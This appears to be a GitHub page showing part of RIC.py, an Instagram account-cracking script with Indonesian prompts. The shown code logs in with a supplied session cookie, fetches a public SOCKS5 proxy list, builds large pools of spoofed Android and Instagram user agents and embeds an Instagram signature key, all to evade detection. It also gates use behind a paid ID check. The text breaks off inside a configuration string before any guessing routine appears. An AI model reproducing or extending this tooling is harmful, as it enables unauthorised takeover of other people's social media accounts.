-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathRIC.py
1326 lines (1231 loc) · 70.7 KB
/
RIC.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
# coding:utf-8
#/usr/bin/python
try:
import json
import uuid
import hmac
import rich
import random
import hashlib
import urllib
import urllib.request
import calendar
except ImportError as e:
exit(f'[!] {e} belum terinstall')
import requests,bs4,json,os,sys,random,datetime,time,re
try:
import rich
except (ModuleNotFoundError,ImportError):
print('\t • Please wait...') ; time.sleep(0.03) ; os.system('pip install rich')
try:
import requests
except (ModuleNotFoundError,ImportError):
print('\t • Please wait...') ; time.sleep(0.03) ; os.system('pip install requests')
try:
import bs4
except (ModuleNotFoundError,ImportError):
print('\t • Please wait...') ; time.sleep(0.03) ; os.system('pip install bs4')
from rich import print as prints
from rich.console import Console
from rich.columns import Columns
from rich.panel import Panel
from rich.tree import Tree
from rich.table import Table as me
from rich.console import Console as sol
from bs4 import BeautifulSoup as sop
from concurrent.futures import ThreadPoolExecutor as tred
from rich.console import Group as gp
from rich.panel import Panel as nel
from rich import print as cetak
from rich.markdown import Markdown as mark
from rich.columns import Columns as col
from time import sleep
from concurrent.futures import ThreadPoolExecutor
from datetime import datetime
from bs4 import BeautifulSoup as parser
import time
from rich.progress import track
from rich.progress import Progress,SpinnerColumn,BarColumn,TextColumn
from rich.tree import Tree
from rich import print as prints
from rich.console import Console as sol
from rich.panel import Panel as nel
from rich import print as cetak
day=datetime.now().strftime("%d-%b-%Y")
nyMnD = 5
nyMxD = 10
current_GMT = time.gmtime(time.time())
insta_log='https://www.instagram.com/accounts/login/?force_classic_login=&'
url='https://www.instagram.com'
merah = '[#FF0022]'
hijau = '[#00FF33]'
hapus = '[/]'
bc = '[bold cyan]'
kuning = '[#FFFF00]'
kn = '[bold yellow]'
hapus = '[/]'
biru_m = '[bold cyan]'
bulan_ttl = {"01": "Januari", "02": "Februari", "03": "Maret", "04": "April", "05": "Mei", "06": "Juni", "07": "Juli", "08": "Agustus", "09": "September", "10": "Oktober", "11": "November", "12": "Desember"}
color_table = "#FFFFFF"
color_rich = "[#00C8FF]"
sys.stdout.write('\x1b]2; InstaAdtya\x07')
try:os.mkdir('data')
except:pass
try:os.mkdir('result')
except:pass
CY='\033[96;1m'
P = '\x1b[1;97m' # PUTIH
M = '\x1b[1;91m' # MERAH
H = '\x1b[1;92m' # HIJAU
K = '\x1b[1;93m' # KUNING
B = '\x1b[1;94m' # BIRU
U = '\x1b[1;95m' # UNGU
O = '\x1b[1;96m' # BIRU MUDA
N = '\x1b[0m' # WARNA MATI
Z2 = "[#000000]" # HITAM
M2 = "[#FF0000]" # MERAH
H2 = "[#00FF00]" # HIJAU
K2 = "[#FFFF00]" # KUNING
B2 = "[#00C8FF]" # BIRU
U2 = "[#AF00FF]" # UNGU
N2 = "[#FF00FF]" # PINK
O2 = "[#00FFFF]" # BIRU MUDA
P2 = "[#FFFFFF]" # PUTIH
J2 = "[#FF8F00]" # JINGGA
A2 = "[#AAAAAA]" # ABU-ABU
M3 = "[#d700d7]" # Magenta
bc = '[bold cyan]'
R2 = random.choice([M3, J2, H2, K2, O2, N2, M2, B2])
a = "[#8700af]"
b = "[#87875f]"
c = "[#8787af]"
d = "[#87afff]"
e = "[#87ff00]"
R3 = random.choice([a, b, c, d, e])
USN="Mozilla/5.0 (Linux; Android 6.0; E5633 Build/30.2.B.1.21; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/58.0.3029.83 Mobile Safari/537.36 Instagram 37.0.0.21.97 Android (23/6.0; 480dpi; 1080x1776; Sony; E5633; E5633; mt6795; uk_UA; 98288242)"
internal,external,success,checkpoint,loop,following,lisensikuni,lisensiku=[],[],[],[],0,[],[],[]
HARIS, HARIS1, method, ugen, ugen3, ugen2, baru, zx, prox, menudump = {}, {}, [], [], [], [], [], [], [], []
s = requests.Session()
for xc in range(1000):
rr = random.randint
rc = random.choice
a = f"Mozilla/5.0 (Linux; U; Android {str(rr(9,12))}; es-es; Redmi Note 9T Build/SP1A.{str(rr(211111,299999))}.016) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{str(rr(100,150))}.0.{str(rr(4500,4900))}.{str(rr(75,150))} Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.14.1-gn"
b = f"Mozilla/5.0 (Linux; Android 13; CPH2373) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(75,150))}.0.0.0 Mobile Safari/537.36"
c = f"Mozilla/5.0 (Linux; U; Android {str(rr(7,12))}; zh-CN; Infinix X6511B Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{str(rr(73,99))}.0.{str(rr(2500,2900))}.{str(rr(75,150))} HiBrowser/2.5.016 UWS/ Mobile Safari/537.36"
uainsta = str(rc([a, b, c]))
baru.append(uainsta)
try:
_url = requests.get("https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/socks5.txt").text
for xc in _url.splitlines():prox.append(xc)
except requests.exceptions.ConnectionError:
print(f"{P}[{M}!{P}] koneksi internet anda bermasalah")
time.sleep(3)
exit()
url = requests.get("http://ip-api.com/json/").json()
try:
IP = url["query"]
CN = url["country"]
RN = url["regionName"]
AS = url["as"]
TZ = url["timezone"]
CC = url["countryCode"]
except KeyError:
IP = "-"
CN = "-"
RN = "-"
AS = "-"
CC = "-"
def clear():
try:os.system('clear')
except:pass
def RemoveCookie():
try:os.remove("data/cookie.txt")
except:pass
try:os.remove("data/user.txt")
except:pass
def waktu():
now = datetime.now()
hours = now.hour
if 4 <= hours < 12:timenow = "Good Morning"
elif 12 <= hours < 15:timenow = "Good Afternoon"
elif 15 <= hours < 18:timenow = "Good Evening"
else:timenow = "Good Night"
return timenow
def jalan(keliling):
for mau in keliling + '\n':
sys.stdout.write(mau)
sys.stdout.flush();sleep(0.03)
def banner():
clear()
au=f"""
[green]\t
AUTHOUR == DMC-HACKER-404\nGITHUB == ⓓᴇᴠɪʟ-ⓜᴀʏ-ⓒʀʏ\nVERSION == 4.0
, ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠿⠿⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠋⠀DMC⠀⠈⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠋⠀⠀⠀⢀⠀⠀⠀⠀⠀⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⣸⠀⣠⣄⡀⠀⣀⠘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣟⢨⣿⣿⣿⣿⣿⠀⠀⢀⡰⠡⣾⣿⣿⡇⠰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡏⣸⣿⣿⣿⣿⣿⣆⠘⣥⣄⠀⠘⠋⠉⣴⣶⠉⢉⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠛⡯⡿⢿⣿⣿⣿⣿⣿⣦⣯⠉⢹⣿⡆⠀⠉⠉⢰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⡔⢸⣁⡇⢸⢸⣿⣿⣿⣿⣿⣿⠀⠀⠻⠿⠿⠷⠷⣿⣿⣿⣿⣿⣿⣿⡿⡛⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣄⢣⣸⢸⢇⡏⣸⣿⣿⣿⣿⣿⣿⣿⠶⠤⠤⣄⠀⢀⣸⣿⣿⣿⣿⣿⣿⣿⣉⠲⢮⢿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⢿⣟⣿⣼⣿⣿⣿⣿⣿⣿⣿⠯⠭⠥⢦⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⠏⢉⣿⠀⠈⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡏⠉⡟⠚⡿⠿⣿⣿⣿⡿⣻⣿⠥⣤⣶⡶⢿⣭⣛⢿⣿⣿⣿⣿⣿⣿⣷⣶⡏⠀⣆⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠸⠀⡾⣷⠖⠒⡖⢿⣿⡿⠟⠛⠛⣉⡟⠛⠙⢯⠽⢿⣞⠙⡟⠛⠚⢿⣿⡿⠲⠿⢻⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⢸⠀⢸⢀⡞⣷⣈⠻⢿⣶⣶⣶⣾⣷⣄⠀⣼⣷⣿⡿⣿⢧⡀⠀⣼⣿⣷⣄⠀⢸⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⢠⡏⣸⣷⡘⠿⣷⣶⣤⣤⣤⣤⡴⢿⡄⠘⣿⣿⣶⡿⢆⣳⡄⠘⣿⣿⡇⢱⣾⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⠀⢰⣾⣷⣿⡙⢿⣶⣤⣈⣉⣉⣉⣡⣴⣾⣄⠀⢹⣶⣭⣥⣿⢿⣿⣆⠈⢿⣇⣾⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣾⣿⣿⣯⠳⣤⡉⠛⠻⠿⠿⠿⠿⠛⣡⣿⡀⠘⣮⣙⣛⣋⣼⣿⣿⣦⣠⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⡈⠛⠷⣶⣤⣤⣴⣶⠿⠛⣡⡇⠘⣮⡻⢿⣿⡿⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⣤⣀⣀⣀⣤⣴⣾⣿⣿⣶⣿⣿⣷⣶⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
"""
sol().print(nel(au,style='green',title=f'{waktu()}'))
def chk():
uuid = str(os.geteuid()) + str(os.getlogin())
id = "|".join(uuid)
os.system('clear')
banner()
print ("\033[1;92m╭────────────────────────────────────────────╮")
print("\x1b[1;97m [\033[1;91m•\x1b[1;97m]\033[1;93m YOUR ID : "+id)
print ("\033[1;92m╰────────────────────────────────────────────╯")
try:
httpCaht = requests.get("https://github.com/DMC-HACKER-404/RAMADAN-IG-CRACKER/blob/main/user.txt").text
if id in httpCaht:
print("\x1b[1;97m [\033[1;92m•\x1b[1;97m]\033[1;97m YOUR ID IS ACTIVE........\033[97m")
msg = str(os.geteuid())
time.sleep(1)
pass
else:
print("\x1b[1;97m [\033[1;91m•\x1b[1;97m]\033[1;93m YOUR ID IS NOT ACTIVE SEND MESSAGE ON WHATSAPP FREE USER PLEASE DONT INBOX\033[97m")
os.system('xdg-open https://wa.me/+2348119592071')
time.sleep(1)
sys.exit()
except:
sys.exit()
if name == '__main__':
print (logo)
chk()
chk()
os.system('clear')
def loading():
animation = ["[\x1b[1;91m■\x1b[0m□□□□□□□□□]","[\x1b[1;92m■■\x1b[0m□□□□□□□□]", "[\x1b[1;93m■■■\x1b[0m□□□□□□□]", "[\x1b[1;94m■■■■\x1b[0m□□□□□□]", "[\x1b[1;95m■■■■■\x1b[0m□□□□□]", "[\x1b[1;96m■■■■■■\x1b[0m□□□□]", "[\x1b[1;97m■■■■■■■\x1b[0m□□□]", "[\x1b[1;98m■■■■■■■■\x1b[0m□□]", "[\x1b[1;99m■■■■■■■■■\x1b[0m□]", "[\x1b[1;910m■■■■■■■■■■\x1b[0m]"]
for i in range(50):
time.sleep(0.1)
sys.stdout.write(f"\r{P}[{M}!{P}] Loading... " + animation[i % len(animation)] +"\x1b[0m ")
sys.stdout.flush()
print("")
try:
# python 2
urllib_quote_plus = urllib.quote
except:
# python 3
urllib_quote_plus = urllib.parse.quote_plus
def cekAPI(cookie):
user=open('data/user.txt','r').read()
coki = open('data/cookie.txt','r').read()
try:
c=s.get("https://i.instagram.com/api/v1/users/web_profile_info/?username=%s"%(user),cookies={'cookie':coki},headers={"user-agent":USN,"x-ig-app-id":'936619743392459'})
i=c.json()["data"]["user"]
nama=i["full_name"]
followers=i["edge_followed_by"]["count"]
following=i["edge_follow"]["count"]
external.append(f'{nama}|{followers}|{following}')
except FileNotFoundError:
RemoveCookie()
except (ValueError,KeyError):
print(f"{P}[{B}+{P}] instagram checkpoint")
RemoveCookie()
exit()
return external,user
def AdtyaStart():
try:
kuki=open('data/cookie.txt','r').read()
except FileNotFoundError:
banner()
prints(Panel(f"login menggunakan cookie, disarankan tidak menggunakan akun pribadi anda",width=80,padding=(0,2),style=f"#FFFFFF"))
coki = input(f"{P}[{B}?{P}] masukan cookie : {H}")
loading()
try:
id = re.search('ds_user_id=(\d+)',str(coki)).group(1)
po = s.get(f"https://i.instagram.com/api/v1/users/{id}/info/",headers={"user-agent":USN},cookies={"cookie":coki})
xx = json.loads(po.text)['user']
useri = xx["username"]
user = open('data/user.txt','w').write(useri)
kuki = open('data/cookie.txt','w').write(coki)
jalan(f'{P}[{H}✓{P}] selamat datang {H}{useri}{P} cookie kamu valid')
time.sleep(3)
prints(Panel(f"{H2}tolong gunakan script ini dengan bijak ya :)\natas apapun yang terjadi admin tidak bertanggung jawab.",title=f"{M2}• {K2}• {H2}•{P2} INFORMASI {H2}• {K2}• {M2}•",width=80,padding=(0,9),style=f"#FFFFFF"))
time.sleep(3)
except (json.decoder.JSONDecodeError, KeyError, AttributeError):
jalan(f"{P}[{M}X{P}] cookie invalid silahkan masukan cookie lainnya")
time.sleep(0.003)
RemoveCookie()
exit()
except ConnectionAbortedError:
print(f"{P}[{M}!{P}] koneksi internet anda bermasalah")
time.sleep(0.003)
exit()
ex,user=cekAPI(kuki)
cookie={'cookie':kuki}
instagram(ex,user,cookie).menu()
def User_Agent():
dpi_phone = [
'133','320','515','160','640','240','120'
'800','480','225','768','216','1024']
model_phone = [
'Nokia 2.4','HUAWEI','Galaxy',
'Unlocked Smartphones','Nexus 6P',
'Mobile Phones','Xiaomi',
'samsung','OnePlus']
pxl_phone = [
'623x1280','700x1245','800x1280',
'1080x2340','1320x2400','1242x2688']
i_version = [
'114.0.0.20.2','114.0.0.38.120',
'114.0.0.20.70','114.0.0.28.120',
'114.0.0.0.24','114.0.0.0.41']
User_Agent = f'Instagram '+random.choice(i_version)+' Android (30/3.0; '+random.choice(dpi_phone)+'dpi; '+random.choice(pxl_phone)+'; huawei/google; '+random.choice(model_phone)+'; angler; angler; en_US)'
return User_Agent
def user_agent():
resolutions = ['720x1280', '320x480', '480x800', '1024x768', '1280x720', '768x1024', '480x320']
versions = ['GT-N7000', 'SM-N9000', 'GT-I9220', 'GT-I9100']
dpis = ['120', '160', '320', '240']
ver = random.choice(versions)
dpi = random.choice(dpis)
res = random.choice(resolutions)
return (
'Instagram 4.{}.{} '
'Android ({}/{}.{}.{}; {}; {}; samsung; {}; {}; smdkc210; en_US)'
).format(
random.randint(1, 2),
random.randint(0, 2),
random.randint(10, 11),
random.randint(1, 3),
random.randint(3, 5),
random.randint(0, 5),
dpi,
res,
ver,
ver,
)
def user_agentAPI():
APP_VERSION = "136.0.0.34.124"
VERSION_CODE = "208061712"
DEVICES = {
"one_plus_7": {"app_version": APP_VERSION,"android_version": "29","android_release": "10.0","dpi": "420dpi","resolution": "1080x2340","manufacturer": "OnePlus","device": "GM1903","model": "OnePlus7","cpu": "qcom","version_code": VERSION_CODE},
"one_plus_3": {"app_version": APP_VERSION,"android_version": "28","android_release": "9.0","dpi": "420dpi","resolution": "1080x1920","manufacturer": "OnePlus","device": "ONEPLUS A3003","model": "OnePlus3","cpu": "qcom","version_code": VERSION_CODE},
"samsung_galaxy_s7": {"app_version": APP_VERSION,"android_version": "26","android_release": "8.0","dpi": "640dpi","resolution": "1440x2560","manufacturer": "samsung","device": "SM-G930F","model": "herolte","cpu": "samsungexynos8890","version_code": VERSION_CODE},
"huawei_mate_9_pro": {"app_version": APP_VERSION,"android_version": "24","android_release": "7.0","dpi": "640dpi","resolution": "1440x2560","manufacturer": "HUAWEI","device": "LON-L29","model": "HWLON","cpu": "hi3660","version_code": VERSION_CODE},
"samsung_galaxy_s9_plus": {"app_version": APP_VERSION,"android_version": "28","android_release": "9.0","dpi": "640dpi","resolution": "1440x2560","manufacturer": "samsung","device": "SM-G965F","model": "star2qltecs","cpu": "samsungexynos9810","version_code": VERSION_CODE},
"one_plus_3t": {"app_version": APP_VERSION,"android_version": "26","android_release": "8.0","dpi": "380dpi","resolution": "1080x1920","manufacturer": "OnePlus","device": "ONEPLUS A3010","model": "OnePlus3T","cpu": "qcom","version_code": VERSION_CODE},
"lg_g5": {"app_version": APP_VERSION,"android_version": "23","android_release": "6.0.1","dpi": "640dpi","resolution": "1440x2392","manufacturer": "LGE/lge","device": "RS988","model": "h1","cpu": "h1","version_code": VERSION_CODE},
"zte_axon_7": {"app_version": APP_VERSION,"android_version": "23","android_release": "6.0.1","dpi": "640dpi","resolution": "1440x2560","manufacturer": "ZTE","device": "ZTE A2017U","model": "ailsa_ii","cpu": "qcom","version_code": VERSION_CODE},
"samsung_galaxy_s7_edge": {"app_version": APP_VERSION,"android_version": "23","android_release": "6.0.1","dpi": "640dpi","resolution": "1440x2560","manufacturer": "samsung","device": "SM-G935","model": "hero2lte","cpu": "samsungexynos8890","version_code": VERSION_CODE},}
DEFAULT_DEVICE = random.choice(list(DEVICES.keys()))
app_version = DEVICES[DEFAULT_DEVICE]['app_version']
android_version = DEVICES[DEFAULT_DEVICE]['android_version']
android_release = DEVICES[DEFAULT_DEVICE]['android_release']
dpi = DEVICES[DEFAULT_DEVICE]['dpi']
resolution = DEVICES[DEFAULT_DEVICE]['resolution']
manufacturer = DEVICES[DEFAULT_DEVICE]['manufacturer']
device = DEVICES[DEFAULT_DEVICE]['device']
model = DEVICES[DEFAULT_DEVICE]['model']
cpu = DEVICES[DEFAULT_DEVICE]['cpu']
version_code = DEVICES[DEFAULT_DEVICE]['version_code']
USER_AGENT_BASE = f"Instagram {app_version} "+f"Android ({android_version}/{android_release}; "+f"{dpi}; {resolution}; {manufacturer}; "+f"{device}; {model}; {cpu}; en_US; {version_code})"
return USER_AGENT_BASE
class instagramAPI:
API_URL = 'https://i.instagram.com/api/v1/'
DEVICE_SETTINTS = {'manufacturer': 'Xiaomi',
'model': 'HM 1SW',
'android_version': 18,
'android_release': '4.3'}
USER_AGENT = 'Instagram 10.26.0 Android ({android_version}/{android_release}; 320dpi; 720x1280; {manufacturer}; {model}; armani; qcom; en_US)'.format(**DEVICE_SETTINTS)
IG_SIG_KEY = '4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178'
EXPERIMENTS = 'ig_promote_reach_objective_fix_universe,ig_android_universe_video_production,ig_search_client_h1_2017_holdout,ig_android_live_follow_from_comments_universe,ig_android_carousel_non_square_creation,ig_android_live_analytics,ig_android_follow_all_dialog_confirmation_copy,ig_android_stories_server_coverframe,ig_android_video_captions_universe,ig_android_offline_location_feed,ig_android_direct_inbox_retry_seen_state,ig_android_ontact_invite_universe,ig_android_live_broadcast_blacklist,ig_android_insta_video_reconnect_viewers,ig_android_ad_async_ads_universe,ig_android_search_clear_layout_universe,ig_android_shopping_reporting,ig_android_stories_surface_universe,ig_android_verified_comments_universe,ig_android_preload_media_ahead_in_current_reel,android_instagram_prefetch_suggestions_universe,ig_android_reel_viewer_fetch_missing_reels_universe,ig_android_direct_search_share_sheet_universe,ig_android_business_promote_tooltip,ig_android_direct_blue_tab,ig_android_async_network_tweak_universe,ig_android_elevate_main_thread_priority_universe,ig_android_stories_gallery_nux,ig_android_instavideo_remove_nux_comments,ig_video_copyright_whitelist,ig_react_native_inline_insights_with_relay,ig_android_direct_thread_message_animation,ig_android_draw_rainbow_client_universe,ig_android_direct_link_style,ig_android_live_heart_enhancements_universe,ig_android_rtc_reshare,ig_android_preload_item_count_in_reel_viewer_buffer,ig_android_users_bootstrap_service,ig_android_auto_retry_post_mode,ig_android_shopping,ig_android_main_feed_seen_state_dont_send_info_on_tail_load,ig_fbns_preload_default,ig_android_gesture_dismiss_reel_viewer,ig_android_tool_tip,ig_android_ad_logger_funnel_logging_universe,ig_android_gallery_grid_column_count_universe,ig_android_business_new_ads_payment_universe,ig_android_direct_links,ig_android_audience_control,ig_android_live_encore_consumption_settings_universe,ig_perf_android_holdout,ig_android_cache_contact_import_list,ig_android_links_receivers,ig_android_ad_impression_backtest,ig_android_list_redesign,ig_android_stories_separate_overlay_creation,ig_android_stop_video_recording_fix_universe,ig_android_render_video_segmentation,ig_android_live_encore_reel_chaining_universe,ig_android_sync_on_background_enhanced_10_25,ig_android_immersive_viewer,ig_android_mqtt_skywalker,ig_fbns_push,ig_android_ad_watchmore_overlay_universe,ig_android_react_native_universe,ig_android_profile_tabs_redesign_universe,ig_android_live_consumption_abr,ig_android_story_viewer_social_context,ig_android_hide_post_in_feed,ig_android_video_loopcount_int,ig_android_enable_main_feed_reel_tray_preloading,ig_android_camera_upsell_dialog,ig_android_ad_watchbrowse_universe,ig_android_internal_research_settings,ig_android_search_people_tag_universe,ig_android_react_native_ota,ig_android_enable_concurrent_request,ig_android_react_native_stories_grid_view,ig_android_business_stories_inline_insights,ig_android_log_mediacodec_info,ig_android_direct_expiring_media_loading_errors,ig_video_use_sve_universe,ig_android_cold_start_feed_request,ig_android_enable_zero_rating,ig_android_reverse_audio,ig_android_branded_content_three_line_ui_universe,ig_android_live_encore_production_universe,ig_stories_music_sticker,ig_android_stories_teach_gallery_location,ig_android_http_stack_experiment_2017,ig_android_stories_device_tilt,ig_android_pending_request_search_bar,ig_android_fb_topsearch_sgp_fork_request,ig_android_seen_state_with_view_info,ig_android_animation_perf_reporter_timeout,ig_android_new_block_flow,ig_android_story_tray_title_play_all_v2,ig_android_direct_address_links,ig_android_stories_archive_universe,ig_android_save_collections_cover_photo,ig_android_live_webrtc_livewith_production,ig_android_sign_video_url,ig_android_stories_video_prefetch_kb,ig_android_stories_create_flow_favorites_tooltip,ig_android_live_stop_broadcast_on_404,ig_android_live_viewer_invite_universe,ig_android_promotion_feedback_channel,ig_android_render_iframe_interval,ig_android_accessibility_logging_universe,ig_android_camera_shortcut_universe,ig_android_use_one_cookie_store_per_user_override,ig_profile_holdout_2017_universe,ig_android_stories_server_brushes,ig_android_ad_media_url_logging_universe,ig_android_shopping_tag_nux_text_universe,ig_android_comments_single_reply_universe,ig_android_stories_video_loading_spinner_improvements,ig_android_collections_cache,ig_android_comment_api_spam_universe,ig_android_facebook_twitter_profile_photos,ig_android_shopping_tag_creation_universe,ig_story_camera_reverse_video_experiment,ig_android_direct_bump_selected_recipients,ig_android_ad_cta_haptic_feedback_universe,ig_android_vertical_share_sheet_experiment,ig_android_family_bridge_share,ig_android_search,ig_android_insta_video_consumption_titles,ig_android_stories_gallery_preview_button,ig_android_fb_auth_education,ig_android_camera_universe,ig_android_me_only_universe,ig_android_instavideo_audio_only_mode,ig_android_user_profile_chaining_icon,ig_android_live_video_reactions_consumption_universe,ig_android_stories_hashtag_text,ig_android_post_live_badge_universe,ig_android_swipe_fragment_container,ig_android_search_users_universe,ig_android_live_save_to_camera_roll_universe,ig_creation_growth_holdout,ig_android_sticker_region_tracking,ig_android_unified_inbox,ig_android_live_new_watch_time,ig_android_offline_main_feed_10_11,ig_import_biz_contact_to_page,ig_android_live_encore_